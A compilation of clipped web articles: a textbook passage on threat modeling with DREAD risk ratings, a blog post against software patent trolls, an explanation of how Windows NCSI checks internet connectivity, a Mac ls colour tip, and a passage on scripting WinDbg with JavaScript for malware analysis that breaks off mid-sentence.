Result  |  Untrusted clients can gain access to a user account and, therefore, read or modify sensitive information**.**  
Mitigation Strategies  |  Make error messages ambiguous so that an attacker doesn't know whether the username or password is invalid**.** Lock the user account after repeated failed login attempts**.** \(Three or five attempts would be appropriate.\)   
  

All the information for the brute-force login threat is neatly summarized in a
table**.** In the next part of this phase, you extend this table to include
some additional information on the risk of the threat**.**

#####  DREAD Risk Ratings****

Real-world applications are generally much larger and more complex in both
design and implementation than the examples used in this chapter**.**
Increased size and complexity creates a broad spectrum of attack vectors in a
variety of user classes**.** As a result, you can usually come up with a long
list of potential threats and possible recommendations to help mitigate those
threats**.** In a perfect world, designers could systematically go about
addressing each threat and fixing potential issues, closing each attack vector
as necessary**.** However, certain business realities might not allow
mitigating every identified vector, and almost certainly not all at once**.**
Clearly, some sort of prioritization is needed to help address the more
serious vectors before worrying about the less important ones**.** By
assigning a threat severity rating, you can rank each uncovered threat based
on the risk it poses to the security of the application and associated
systems. This rating can then be used as a guideline for developers to help
decide which issues take precedence**.**

You can choose to rate threats in a number of different ways**.** What's most
important is that you incorporate the exposure of the threat \(how easy is it
to exploit and who the vector is available to\) and the amount of damage
incurred during a successful exploit**.** Beyond that, you might want to add
components that are more pertinent to your environment and business
processes**.** For this chapter's threat-modeling purposes, the DREAD rating
system developed by Microsoft is used**.** No model is perfect, but this one
provides a fairly good balance of commonly accepted threat
characteristics**.** These characteristics are briefly summarized as follows:

  * Damage potential What are the repercussions if the threat is exploited successfully**?**
  * Reproducibility How easy is it to reproduce the attack in question**?**
  * Exploitability How difficult is it to perform the attack**?**
  * Affected users If a successful attack is carried out, how many users would be affected and how important are they**?**
  * Discoverability How difficult is it to spot the vulnerability**?**

Each category can be given a score between 1 and 10 \(1 being the lowest , 10
the highest\)**.** Category scores are then totaled and divided by 5 for an
overall threat rating**.** A rating of 3 or below can be considered a low-
priority threat, 4 to 7 as a medium-priority threat, and 8 or greater as a
high-priority threat**.**

Note

The DREAD model is also useful in rating implementation and operational
vulnerabilities**.** In fact, you can use DREAD as your general-purpose rating
system over the entire course of an application review**.**

  

One of the benefits of the DREAD rating system is that it provides a range of
detail you can use when presenting results to business decision makers **.**
You can give them a concise threat assessment, with just the total threat
rating and the category it falls into**.** You could also present more
detailed information, such as individual scores for the five threat
categories**.** You might even want to give them a full report, including the
model documentation and an explanation of how you arrived at the scores for
each category**.** Regardless of your choice, it's a good idea to have
information available at each level of detail when making a presentation to
clients or senior management**.**

Table 2-2 is an example of applying a DREAD rating to the brute-force login
threat**.**

#####  Table 2-2. Threat Summary with DREAD Rating****

Threat  |  Brute-force login**.**  
---|---  
Affected Component  |  Web application login component**.**  
Description  |  Clients can brute-force attack usernames and passwords by repeatedly connecting and attempting to log in**.** This threat is increased because the application returns a different error message for an invalid username than a valid one, making usernames easier to identify**.**  
Result  |  Untrusted clients can gain access to a user account and, therefore, read or modify sensitive information**.**  
Mitigation Strategies  |  Make error messages ambiguous so that an attacker doesn't know whether the username or password is invalid**.** Lock the user account after repeated failed login attempts**.** \(Three to five attempts would be appropriate.\)   
Risk  |  Damage potential: 6  Reproducibility: 8  Exploitability: 4  Affected users: 5  Discoverability: 8  Overall: 6**.** 2   
  

#####  Automatic Threat-Modeling Documentation****

As you can see, quite a lot of documentation is involved in the threat-
modeling process \(both text and diagrams\)**.** Thankfully, Frank Swiderski
\( co-author of the previously mentioned Threat Modeling \) has developed a
tool to help with creating various threat-modeling documents**.** It's
available as a free download at
http://msdn.microsoft.com/security/securecode/threatmodeling/**.** The tool
makes it easy to create DFDs, use cases, threat summaries, resource summaries,
implementation assumptions, and many other documents you're going to need**.**
Furthermore, the documentation is organized into a tree structure that's easy
to navigate and maintain**.** The tool can output all your documentation as
HTML or another output form of your choosing, using Extensible Stylesheet
Language Transformations \(XSLT\) processing**.** Familiarizing yourself with
this tool for threat-modeling documentation is strongly recommended**.**

####  Prioritizing the Implementation Review****

Now that you've completed and scored your threat summaries, you can finally
turn your attention to structuring the implementation review**.** When
developing your threat model, you should have decomposed the application
according to a variety of factors, including modules, objects, and
functionality**.** These divisions should be reflected in the Affected
Components entry in each individual threat summary**.** The next step is to
make a list of components at the appropriate level of decomposition; exactly
what level is determined by the size of the application, number of reviewers,
time available for review, and similar factors**.** However, it's usually best
to start at a high level of abstraction, so you only need to consider a
handful of components**.** In addition to the component names , you need
another column on your list for risk scores associated with each
component**.**

After you have this component list, you simply identify which component a
threat summary belongs to and add the risk score for that summary to the
associated component**.** After you've totaled your list of summaries, you'll
have a score for the risk associated with each component**.** Generally, you
want to start your assessment with the highest scoring component and continue
proceeding from highest to lowest**.** You might also need to eliminate some
components due to time, budget, or other constraints**.** So it's best to
start eliminating from the lowest scoring components**.** You can apply this
scoring process to the next level of decomposition for a large application;
although that starts to get into the implementation review process, which is
covered in detail in Chapter 4, "Application Review Process**.** "

Using a scoring list can make it a lot easier to prioritize a review,
especially for a beginner**.** However, it isn't necessarily the best way to
get the job done**.** An experienced auditor will often be able to prioritize
the review based on their understanding of similar applications**.** Ideally,
this should line up with the threat summary scores, but sometimes that isn't
the case**.** So it's important to take the threat summaries into account, but
don't cling to them when you have a reason to follow a better plan**.**

****

# Inside Code Virtualizer

**Created:**| _8/24/2010 3:39:57 PM_  
---|---  
**Updated:**| _8/24/2010 3:40:18 PM_  
**Author:**| __  
**Tags:**| _reversing visualization programming_  
  
<img src='img/Temp2_4456' />

# Open Source Fact and Fiction: The Patent Mafia and What You Can Do To Break
It Up

**Created:**| _5/11/2012 9:02:13 AM_  
---|---  
**Updated:**| _5/11/2012 9:02:13 AM_  
**Author:**| __  
**Tags:**| _opinion patents_  
  

# The Patent Mafia and What You Can Do To Break It Up

## Stopping the hidden tax that stifles innovation

By Alan Shimel on Tue, 05/08/12 - 1:01pm.

  *   * Print

.  What's this?

_Young man, I hear you and your friends are stealing goods. But you don't even
send a dress to my house. No respect\! You know I've got three daughters. This
is my neighborhood. You and your friends should show me some respect. You
should let me wet my beak a little. I hear you and your friends cleared $600
each. Give me $200 each, for your own protection. And I'll forget the insult.
You young punks have to learn to respect a man like me\! Otherwise the cops
will come to your house. And your family will be ruined. Of course, if I'm
wrong about how much you stole, I'll take a little less. And by less, I only
mean - a hundred bucks less. Now don't refuse me. Understand, paisan?
Understand, paisan?... Tell your friends I don't want a lot. Just enough to
wet my beak. Don't be afraid to tell them\!___ ~ Don Fanucci, The Godfather,
Part II __

<img src='img/Temp2_5854.jpg' width='351' height='210' />Just like the
organization of which Don Fanucci was part of in the Godfather, there is
another "organization" today seeking to "wet their beak" every time some
company comes up with a new or better way to use technology. This "Patent
Mafia" is building patent stockpiles like the US and USSR stockpiled nuclear
missiles at the height of the cold war. A difference between the real Mafia
and the Patent Mafia is that the Patent Mafia actually uses the government and
the courts to strong arm and enforce their will.

The lawsuits are raging all across the tech world. Oracle sues Google, Yahoo
sues Facebook, they counter-sue. Others threaten, others buy more patents and
the circle goes round and round.

Don't be fooled by the lawsuits between these tech titans though. The real
cost that the patent mafia extracts from the tech world is on the smaller
companies who can't afford to battle the Apples and Microsofts of the world.
Their choices are far simpler. They can abandon their innovations or they can
choose to pay and allow the Mafiosos to wet their beaks. Also, don't be fooled
about who the real losers are here. The the real losers are you and me. We
lose out on being able to leverage innovative new ideas and technologies that
come to market or have to pay more for them so that the the mafia can wet its
beak.

This system of software patents has been called out by many. While companies
are certainly entitled to the fruits of their inventions, many of these patent
rackets are based on patents improperly issued, improperly enforced or
improperly applied.

Vivek Wadwha in the Washington Post has a story that sheds some light on
exactly how big the patent game has become, as well as some interesting facts
that may show how to defeat this new mafia. My friend Brad Feld of the Foundry
Group and a long-time critic of software patents is quoted in Wadwha's
article, where he says "that software patents represent a destructive force in
the startup world. Companies have to worry about being sued the moment they
have achieved first success. Instead of focusing on building their startup,
they worry about hiring lawyers."

I exchanged emails with Brad on this subject this morning, in which Brad told
me to "Recognize that my issues with the patent system are focused on software
and business method patents. I don't believe either are valid constructs and
as such should be abolished." However, Brad also feels that ultimately the
U.S. Courts and even the Supreme Court will have to make these decisions.

To give you an idea about how big the game we are talking about here is,
Wadwha points out that in the mobile market alone we have seen about 15 to 20
billion dollars spent on building up patents portfolio's over the last few
months. But lets face it, the companies buying up these patent pools are the
very same people who will use them as well. It is a 1% game. Apple, Microsoft,
Oracle, Google are paying big dollars for patents owned by companies either
already dead or companies that are dead men walking. But the little guy, the
startup, can't afford to pay those kinds of dollars to buy patent muscle.

So what chance does the little guy have? What can we do to bust up this Patent
Mafia? There is hope. Here are some more facts in Wadwha's article that come
from a study titled Patent Quality and Settlement Among Repeat Patent
Litigants, Lemley, John Allison of University of Texas, and Joshua Walker of
Stanford Law School. From the study and Wadwha's article:

> They found that repeat patent plaintiffs — “those who sue eight or more
> times on the same patents…are responsible for a sizeable fraction of all
> patent lawsuits.” Indeed, 106 out of roughly 1 million patents \(or .0001
> percent\) in force were responsible for more than 10 percent of all patent
> assertions. This isn’t based on the strengths of the patents; many of these
> are among the weakest and least defensible. When the most-litigated patents
> go to trial, slightly fewer than 11 percent of patent holders win their
> cases, compared with 47 percent of those that were litigated just once. And
> most-litigated patents aren’t also filed by the original inventors: nearly
> 64 percent are by what academics call “non-practicing entities” — in other
> words, patent trolls. These win an even lower percentage of their cases,
> coming in at 8 percent.
Think about that. In the most litigated patents, if they go to a verdict at
trial, fewer than 11% win. Isn't that absurd? Even more absurd is that true
patent trolls \(defined as being owned by "non-practicing entities"\) win only
about 8% of the time. So why are we letting patents freeze innovation? Why do
so many companies roll over when faced with threats of patent claims? The
answer is simple. Who has the time, money or wants to put forth the effort to
defend these? Even knowing that you may have something like a 90% chance of
winning is not enough to make you want to defend your position. Something is
very wrong.

In my mind there may be a simple solution that can help, but more on that
later. First let me again turn to the Washington Post article again:

> Boston University School of Law professors James Bessen, Michael Meurer, and
> Jennifer Ford analyzed stock market data and patent lawsuits. They
> determined between 1990 and 2010, the victims of these lawsuits, which were
> mostly technology companies, lost half a trillion dollars in wealth, forcing
> companies to divert substantial resources from production to litigation
> support. They found that software patents, including those on “business
> methods and financial processes,” were the most litigated because they have
> “fuzzy boundaries.” They are written in vague language and their scope is
> not clear. So technology companies can’t easily find them or understand what
> they claim. This gives the trolls an opportunity to extort money.
A half a trillion dollars sunk into litigation around patents\! If you don't
recognize it, that is the strong arm of the mafia right there. Who can afford
to play that game? Some companies and organizations are fighting back though.

Twitter announced on April 17th of this year its "innovators patent
agreement." While many ridiculed Twitter for its idealistic stand, it is
actually joining a well established group of companies and organizations
establishing patent defensive pools. They are pooling patents to protect open
source, Linux and other technologies. By pledging that these patents would
only be used defensively, the specter of using the patents as blunt force
instruments are greatly reduced.

The problem is most inventors don't get to choose if their patents are put
into a defensive pool. Most employees work which is patentable is owned by the
company they are working for. As such it is left to the ideals and beliefs of
those companies as to whether the make it into a pool or not. That is leaving
too much to the "good nature" of corporations who are seeking to make profits.

So what do do? Here is my opinion. I would make it just as expensive for the
offensive patent prosecutors. Just as the government put in the RICO act to
combat organized crime, I would put a similar law in place on patents. RICO
calls for treble damages. I would have treble awards of costs and legal fees.

If a patent holder sues another entity for patent violation and that suit
fails, the plaintiff who brought the suit should pay treble damages to the
defendant. Three times what the defendant paid to defend. I would go one
better too, if the patent troll declared bankruptcy to avoid paying the treble
damages, I would like to sue the individuals behind the troll. Shift the
burden of expense to the winning side. If you know that only 10% of these
suits are successful and that an unsuccessful suit is going to cost you money,
you are going to think twice and even three times before bringing that suit.

In terms of defending those suits, knowing that if you prevail you are going
to triple any money you laid out, you are less likely to cower in fear from
being shaken down by the patent mafia.

I think giving the patent trolls something to think about before bringing suit
is the easiest way to stop this mafia dead in their tracks. Otherwise as
Wadwha says, "It’s time to go back to the old idea that patentees have rights
over things they build, not over solving problems by any means — before the
patent trolls turn Silicon Valley into a rendition of 1930s Chicago."

# Windows 7 Network Awareness: How Windows knows it has an internet connection
- Super User Blog

**Created:**| _5/17/2011 7:25:23 PM_  
---|---  
**Updated:**| _5/17/2011 7:25:23 PM_  
**Author:**| __  
**Tags:**| _vulnerability LOLZ network-security windows environment_  
  

## Windows 7 Network Awareness: How Windows knows it has an internet
connection

### nhinkle

<img src='img/tt-twitter-micro4.png' alt='Post to Twitter' />

Have you ever been connecting to a new wireless network and seen the following
pop-up balloon?

<img src='img/Ppz3v.png' width='548' height='105' alt='Additional login
information may be required. Click to open your browser.' />

<img src='img/network-list2.png' width='301' height='156' alt='no internet
access' />Whenever I connect to a WiFi network which requires in-browser
authentication, such as university networks and hotel access points, Windows
somehow magically _knows_. Windows also knows when your internet connection
isn’t working, and can differentiate between having _local_ LAN access, no
network access at all, or full internet access. But how?

This week’s question of the week is one I myself asked about this very topic.
I guessed that there must be some online Microsoft site that Windows is
checking to determine the state of the connection, but I wanted proof, not
just speculation.

## How does Windows know whether it has internet access or if a Wi-Fi
connection requires in-browser authentication?

Tobias Plutat and Jeff Atwood both replied with information about the
**Network Connectivity Status Indicator** \(NCSI\) service, first introduced
in Windows Vista.

> When called on by Network Awareness, NCSI can add information about the
> following capabilities for a given network:
>   * Connectivity to an intranet
>   * Connectivity to the Internet \(possibly including the ability to send a
> DNS query and obtain the correct resolution of a DNS name\)
>
NCSI is designed to be responsive to network conditions, so it examines the
connectivity of a network in a variety of ways. For example, NCSI tests
connectivity by trying to connect to http://www.msftncsi.com, a simple Web
site that exists only to support the functionality of NCSI.

# How does it work?

Windows does indeed check a Microsoft site for connectivity, using the Network
Connectivity Status Indicator site. There are a few variations of the
connection checking process:

  1. NCSI performs a DNS lookup on `http://www.msftncsi.com/ncsi.txt`, then requests http://www.msftncsi.com/ncsi.txt. This file is a plain-text file and contains only the text `Microsoft NCSI`.
  2. NCSI sends a DNS lookup request for `dns.msftncsi.com`. This DNS address should resolve to 131.107.255.255. If the address does not match, then it is assumed that the internet connection is not functioning correctly.

The exact sequence of when which test is run is not documented; however, a
little bit of digging around with a packet sniffing tool like Wireshark
reveals some info. It appears that on any connection, the first thing NCSI
does is requests the text file \(step 1 above\). NCSI expects a 200 OK
response header with the proper text returned. If the response is never
received, or if there is a redirect, then a DNS request for dns.msftncsi.com
is made. If DNS resolves properly but the page is inaccessible, then it is
assumed that there is a working internet connection, but an in-browser
authentication page is blocking access to the file. This results in the pop-up
balloon above. If DNS resolution fails or returns the wrong address, then it
is assumed that the internet connection is completely unsuccessful, and the
“no internet access” error is shown.

The order of events appears to be slightly different depending on whether the
wireless network is saved, has been connected to before even if it is not in
the saved connections list, and possibly depending on the encryption type. The
DNS and HTTP requests and responses showing up in Wireshark were not always
consistent, even connecting to the same network, so it’s not entirely clear
what causes different methods of detection under different scenarios.

# What about my privacy?

Some people may be concerned about Windows “phoning home” to Microsoft with
their PC’s information through this service. According to Microsoft’s
documentation, NCSI retains the time of access and IP addresses of requests
made to `www.msftncsi.com`:

> IIS logs are stored on the server at www.msftncsi.com. These logs contain
> the time of each access and the IP address recorded for that access. These
> IP addresses are not used to identify users, and in many cases, they are the
> address of a network address translation \(NAT\) computer or proxy server,
> not a specific client behind that NAT computer or proxy server.
It is possible to disable NCSI by a registry setting if you don’t want
Microsoft to be able to check your internet connection.

>   1.
> **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet**
>   2. Under the **Internet** key, double-click **EnableActiveProbing** , and
> then in **Value data** , type: **0**.The default for this value is 1.
> Setting the value to 0 prevents NCSI from connecting to a site on the
> Internet during checks for connectivity.
>

When I changed this registry setting, Wireshark picked up no more
communication to the NCSI site. As a result, there was no indicator that in-
browser authentication was required, and the connection indicator would say
“internet connection” even if there was in fact none present.

<img src='img/reg-settings.png' width='396' height='228' alt='registry
settings' />In the same registry key were a series of other parameters. The
expected DNS response, the host to query for a DNS address, the expected
content of the text file, the name of the text file, and the domain with the
text file were all included. The other parameters are not quite as self
explanatory. I tried adapting PassivePollPeriod, expecting it to change how
frequently NCSI would poll the server. It appeared at first that the decimal
value was equal to that many tenths of a minute, so a value of 5 polls every
30 seconds and a value of 10 polls every minute. However, the frequency also
seemed to decrease with time. I could not figure out the use of the other two
values.

<img src='img/wireshark-msft1.png' width='600' height='212' />

# Can I run my own NCSI server?

For those concerned about privacy, is it possible to run your own server to
respond to these requests? Let’s find out\!

I created `ncsi.nathanhinkle.com` on my web hosting, and set it up to send
`/ncsi.txt` as a plain text file with the content `nhinkle NCSI`. I then
changed all of the registry values to point to the values for my server, and
what do you know, it worked\! Looking in Wireshark, requests were being made
to my server instead of to Microsoft’s server, and the system was still
determining the status of the internet connection correctly. The user agent on
the requests was still Microsoft NCSI, indicating that it was indeed the same
service making the requests.

<img src='img/wireshark-nhinkle.png' width='600' height='178' />

So, if you want your computer to be able to check its connectivity to the
internet while not sending your every move to Microsoft, this is a way to do
it. As an added benefit, this could be used as a tracking mechanism to see
where your computer goes, particularly should it get lost or stolen, since any
connection attempt will result in your server being requested.

As operating systems become increasingly complex, features like this can make
your life much easier, but it’s always good to know what’s happening behind
the scenes.

Posted by **nhinkle** on May 16th, 2011  
Filed under Question of the Week, Windows  

« Migrating to Linux from Windows

Getting the Most Out Of Mac OS X’s Exposé »

  1. Bloodphilia says:  
May 16th, 2011 at 8:17 am

Great post\! I always wondered how they did this\! Awesome that you tried
setting up your own server.

And as the CAPTCHA says:  
“Quality ofechana\!”

P.S. What’s that small green timer in your taskbar that says “3:21″ at the top
screen shot?

<img src='img/547cca3ba65b2c5c96973e69c67de2ef' />

# Colorize Mac ls output \(Beckham's Blog\)

**Created:**| _7/15/2011 2:29:49 PM_  
---|---  
**Updated:**| _7/15/2011 2:29:49 PM_  
**Author:**| __  
**Tags:**| _zsh_  
  

### Colorize Mac ls output

#### By tonybeckham on Jun 14, 2007

Being an avid user of unices, I really like having color output when I use the
ls command. In the past I have gone through a detailed process of getting GNU
fileutils and building my own ls from that, and putting that version of ls in
my path. Lots of hogwash, right? I just found out that for whatever reason,
the dudes at Apple decided to change the color flag for their ls from "color"
to "G". So that's, it. To enable color output of ls on Mac, just add an alias
to your shel profile of:

alias ls="ls -G"

Now,enjoy colored ls output. However, since I use a black background on my
terminal, the blue is hard to read so I also ad this to my profile as well:

export LSCOLORS=dxfxcxdxbxegedabagacad

I don't know what it all means but the colors it makes work for me.

# JavaScript bridge makes malware analysis with WinDbg easier

**Created:**| _3/2/2019 6:17:35 PM_  
---|---  
**Updated:**| _3/2/2019 6:17:35 PM_  
**Author:**| _wishi_  
**Tags:**| _windbg JavaScript_  
  

  

###  JavaScript bridge makes malware analysis with WinDbg easier

###  Introduction

As malware researchers, we spend several days a week debugging malware in
order to learn more about it. We have several powerful and popular user mode
tools to choose from, such as OllyDbg, x64dbg, IDA Pro and Immunity Debugger.  
  
All these debuggers utilize some scripting language to automate tasks, such as
Python or proprietary languages like OllyScript. When it comes to analyzing in
kernel mode, there is really one option: Windows debugging engine and its
interfaces CDB, NTSD, KD and WinDbg.  
  
Unfortunately, even if WinDbg is the most user-friendly of the bunch, it is
widely considered as one of the least user-friendly debuggers in the world.  
  
The learning curve for WinDbg commands is quite steep, as it combines an
unintuitive and often conflicting command syntax with an outdated user
interface. Adding the traditional WinDbg scripting language to this equation
does not make things easier for the user as it creates an additional layer of
complexity by introducing its own idiosyncrasies.  
  
Thankfully, there's a new WinDbg preview for Windows 10 that brings it in line
with modern programming environments. This preview includes a new JavaScript
engine and an exposed debugging data model through a set of JavaScript objects
and functions.  
  
These new features bring WinDbg in line with modern programming environments
such as Visual Studio, using already familiar elements of the user interface.
In this post, we'll go over this new version of WinDbg's debugger data model
and its new interface with JavaScript and dx commands.  

###  Debugger data model

The debugger data model is an extensible object model that allows debugger
extensions, as well as the WinDbg, user interface to access a number of
internal debugger objects through a consistent interface.  
  
The objects relevant for malware analysis exposed through the data model are:  

  * Debugging sessions
  * Processes
  * Process environment \(ex. Peb and Teb\)
  * Threads
  * Modules
  * Stack frames
  * Handles
  * Devices
  * Code \(disassembler\)
  * File system
  * Debugger control
  * Debugger variables
  * Pseudo registers

####  

####  dx display expression

All the above types of objects are exposed through a new command dx \(display
debugger object model expression\), which can be used to access objects and
evaluate expressions using a C++ like syntax, in a simpler and more consistent
way than the one exposed through somewhat confusing mix of the MASM and the
C++ expression evaluators. Thanks to the addition of the NatVis functionality
to WinDbg, the results of dx command are displayed in a much more user
friendly way using intuitive formatting with DML as a default output.  
  
The starting point for exploring the dx command is simply to type dx Debugger
in the WinDbg command window, which will show the top level namespaces in the
exposed data model. Those four namespaces are Sessions, Settings, State and
Utility. DML generates output using hyperlinks, allowing the user to drill
down into the individual namespaces simply by clicking on them. For example,
by clicking on the Sessions hyperlink, the command dx -r1 Debugger.Sessions
will be executed and its results displayed.  
  

<img src='img/image9.png' width='640' height='256' />

Drilling down from the top-level namespaces to processes

  
If we go a couple of layers further down, which can also be controlled with
the -r dx command option, we will get to the list of all processes and their
properties, including the \_EPROCESS kernel object fields exposed as the
member KernelObject of a Process debugger object. Users of earlier WinDbg
versions will certainly appreciate the new ease of investigation available
through the dx command.  
  
The dx command also supports tab completion, which makes navigating the data
model even easier and allows the user to learn about the operating system and
WinDbg internals such as debugger variables and pseudo-registers. For example,
to iterate through the list of internal debugger variables you can type dx @$
and then repeatedly press the tab keyboard key, which will cycle through all
defined pseudo-registers, starting from $argreg.  
  
Pseudo-registers and internal variables are useful if we want to avoid typing
full object paths after the dx command. Instead of Debugger.Sessions\[0\] you
can simply use the pseudo-register @$cursession, which points to the current
session data model object. If you need to work with the current process you
can simply type dx @$curprocess instead of the longer dx
Debugger.Sessions\[0\].Process\[procid\].  

####  

####  Linq queries

Linq \(Language Integrated Query\) is an already familiar concept for .NET
software engineers that allows the user to create SQL-like queries over the
object collections exposed through the dx command.  
  
There are two syntaxes available for creating Linq expressions for normal .NET
development, but WinDbg, through the dx command, only supports creating
queries using the Lambda expression syntax. Linq queries allow us to slice and
dice the collection objects and extract the pieces of information we are
interested in displaying.  
  
The Linq function "Where" allows us to select only those objects which satisfy
a condition specified by the Lambda expression argument supplied as the
function argument. For example, to display only processes which have the
string "Google" in the name, we can type:  
  

[code]

    dx @$cursession.Processes.Where(p => p.Name.Contains("Google"))
[/code]

  
Just like in SQL, the "Select" function allows us to choose which members of
an object in the collection we would like to display. For example, for the
processes we already filtered using the "Where" function, we can use "Select"
to retrieve only the process name and its ID:  
  

[code]

    dx -r2 @$cursession.Processes.Where(p => p.Name.Contains("Google")).Select(p => New { Name=p.Name, Id=p.Id })
[/code]

  
Going one level deeper, into the exposed \_EPROCESS kernel object, we can
choose to display a subset of handles owned by the process under observation.
For example, one of the methods to find processes hidden by a user mode
rootkit is to enumerate process handles of the Windows client server subsystem
process \(csrss.exe\) and compare that list with a list generated using a
standard process enumeration command.  
  
Before we list processes created by csrss.exe, we need to find the csrss.exe
process\(es\) objects and once we find them, switch into their context:  
  

[code]

    dx @$cursession.Processes.Where(p => p.Name.Contains("csrss.exe"))[pid].SwitchTo()
[/code]

  
We can now run a Linq query to display the paths to the main module of the
processes present in the csrss.exe handle table:  
  

[code]

    dx @$curprocess.Io.Handles.Where(h => h.Type.Contains("Process")).Select(h => h.Object.UnderlyingObject.SeAuditProcessCreationInfo.ImageFileName->Name)
[/code]

  
Since ImageFileName is a pointer to a structure of the type
\_OBJECT\_NAME\_INFORMATION, we need to use the arrow to dereference it and
access the "Name" fields containing the module path.  
  
There are many other useful Linq queries. For example, users can order the
displayed results based on some criteria, which is similar to the Order By SQL
clause, or count the results of the query using the "Count" function. Linq
queries can also be used in the JavaScript extension, but their syntax is once
again slightly different. We will show an example of using Linq within
JavaScript later in the blog post.  

###  WinDbg and JavaScript

Now that we've covered the basics of the debugger data model and the dx
command to explore it, we can move on to the JavaScript extension for WinDbg.
Jsprovider.dll is a native WinDbg extension allowing the user to script WinDbg
and access the data model using a version of Microsoft's Chakra JavaScript
engine. The extension is not loaded by default into the WinDbg process space —
it must be done manually. This avoids potential clashes with other JavaScript-
based extensions.  
  
Jsprovider is loaded using the standard command for loading extensions:  
  

[code]

    .load jsprovider.dll
[/code]

  
While this post discusses conventional scripts a threat researcher may create
while analysing a malware sample, it is worth mentioning that the JavaScript
extension also allows developers to create WinDbg extensions that feel just as
existing binary extensions. More information about creating JavaScript-based
extensions can be found by investigating one of the extensions provided
through the official GitHub repository of WinDbg JavaScript examples.  
  
WinDbg Preview contains a fully functional Integrated Development Environment
\(IDE\) for writing JavaScript code, allowing the developer to refactor their
code while debugging a live program or investigating a memory dump.  
  
The following WinDbg commands are used to load and run JavaScript based
scripts. The good news is that the commands for handling JavaScript-based
scripts are more intuitive compared to the awkward standard syntax for
managing WinDbg scripts:  
  

  * .scriptload command loads a JavaScript script or an extension into WinDbg but it does not execute it.
  * .scriptrun runs the loaded script.
  * .scriptunload unloads the script from WinDbg and from the debugger data model namespace.
  * .scriptlist lists all currently loaded scripts.

####

####  

####  JavaScript entry points

Depending on the script command used to load the script, the JavaScript
provider will call one of the predefined user script entry points or execute
the code in the script root level.  
  
From the point of view of a threat researcher, there are two main entry
points. The first is a kind of a script constructor function named
initializeScript, called by the provider when the .scriptload command is
executed. The function is usually called to initialize global variables, and
define constants, structures and objects.  
  
The objects defined within the initializeScript function will be bridged into
the debugger data model namespaces using the functions
host.namespacePropertyParent and host.namedModelParent. The bridged objects
can be investigated using the dx command as any other native object in the
data model.  
  
The second, and even more important entry point is the function invokeScript,
an equivalent of the C function main. This function is called when the user
executes the .scriptrun WinDbg command.  

####  

####  Useful tricks for JavaScript exploration

Now we will assume that we have a script named "myutils.js" where we keep a
set of functions we regularly use in our day-to-day research. First, we need
to load the script using the .scriptload function.  
  

<img src='img/6068_image7.png' width='640' height='32' />

Loading script functions from the user's Desktop folder

  

####  WinDbg JavaScript modules and namespaces

The main JavaScript object we use to interact with the debugger is the host
object. If we are using WinDbg Preview script editor, the Intellisense tab
completion and function documentation feature will help us with learning the
names of the available functions and members.  
  

<img src='img/6069_image12.png' width='640' height='284' />

IntelliSense in action

  
If we just want to experiment, we can put our code into the invokeScript
function which will get called every time we execute the script. Once we are
happy with the code, we can refactor it and define our own set of functions.  
  
Before we dig deeper into the functionality exposed through the JavaScript
interface, it is recommended to create two essential helper functions for
displaying text on the screen and for interacting with the debugger using
standard WinDbg commands.  
  
They will be helpful for interaction with the user and for creating
workarounds around some functionality that is not yet natively present in
JavaScript, but we would need it for debugging.  
  
In this example, we named these functions logme and exec. They are more or
less just wrappers around the JavaScript functions with the added advantage
that we don't need to type the full namespace hierarchy in order to reach
them.  
  

<img src='img/6067_image5.png' width='640' height='196' />

Helper functions wrapping parts of the JavaScript WinDbg API

  
In the function exec, we see that by referencing the host.namespace.Debugger
namespace, we are able to access the same object hierarchy through JavaScript
as we would with the dx command from the WinDbg command line.  
  
The ExecuteCommand function executes any of the known WinDbg commands and
returns the result in a plain text format which we can parse to obtain the
required results. This approach is not much different to the approach
available in the popular Python based WinDbg extension pykd. However, the
advantage of Jsprovider over pykd is that most of the JavaScript extension
functions return JavaScript objects thatdo not require any additional parsing
in order to be used for scripting.  
  
For example, we can iterate over a collection of process modules by accessing
host.currentProcess.Modules iterable. Each member of the iterable array is an
object of class Module and we can display its properties, in this case the
name.  
  
It is worth noting that Intellisense is not always able to display all members
of a JavaScript object and that is when the for-in loop statement can be very
useful. This loop allows us to iterate through names of all the object members
which we can print to help during exploration and development.  
  

<img src='img/6066_image4.png' width='640' height='116' />

  

Displaying the members of a Module object

  
On the other hand, the for-of loop statement iterates through all members of
an iterable object and returns their values. It is important to remember
distinction between these two for loop forms.  
  

<img src='img/6066_image4.png' width='640' height='116' />

Printing list of modules loaded into the current process space

  
We can also fetch a list of loaded modules by iterating through the Process
Environment Block \(PEB\) linked list of loaded modules although this requires
more preparation to convert the linked list into a collection by calling the
JavaScript function host.namespace.Debugger.Utility.Collections.FromListEntry.
Here is a full listing of a function which converts the linked list of loaded
modules into a JavaScript array of modules and displays their properties.  
  

[code]

    function ListProcessModulesPEB (){
    
    //Iterate through a list of Loaded modules in PEB using FromListEntry utility function        
    
        for (var entry of host.namespace.Debugger.Utility.Collections.FromListEntry(host.currentProcess.KernelObject.Peb.Ldr.InLoadOrderModuleList, "nt!_LIST_ENTRY", "Flink")) {
    
    //create a new typed object using a _LIST_ENTRY address and make it into _LDR_TABLE_ENTRY
    
        var loaderdata=host.createTypedObject(entry.address,"nt","_LDR_DATA_TABLE_ENTRY");
    
    //print the module name and its virtual address
    
        logme("Module "+host.memory.readWideString(loaderdata.FullDllName.Buffer)+" at "+ loaderdata.DllBase.address.toString(16) + " Size: "+loaderdata.SizeOfImage.toString(16));
    
        }
    }
[/code]

  
This function contains the code to read values from process memory, by
accessing the host.memory namespace and calling one of the functions
readMemoryValues, readString or readWideString, depending on the type of data
we need to read.  
  

####  JavaScript 53-bit integer width limitation

Although programming WinDbg using JavaScript is relatively simple compared to
standard WinDbg scripts, we need to be aware of few facts that may cause a few
headaches. The first is the fact that the width of JavaScript integers is
limited to 53 bits, which may cause some issues when working with native,
64-bit values. For that reason, the JavaScript extension has a special class
host.Int64 whose constructor needs to be called when we want to work with
64-bit numbers. Luckily, the interpreter will warn us when a 53-bit overflow
can occur.

  
A host.Int64 object has a number of functions that allow us to execute
arithmetic and bitwise operations on it. When trying to create a function to
iterate through an array of callbacks registered using the
PspCreateProcessNotifyRoutine function shown later in the post, I was not able
to find a way to apply a 64-bit wide And bitmask. The masking function seemed
to revert back to the 53-bit width, which would create an overflow if the mask
was wider than 53 bits.  

  

<img src='img/6064_image11.png' width='640' height='64' />

<img src='img/6063_image8.png' width='640' height='42' />

  

Masking a host.Int64 with a 53-bit And mask yields a correct result and
incorrect if wider

  
Luckily, there are functions GetLowPart and GetHighPart, which respectively
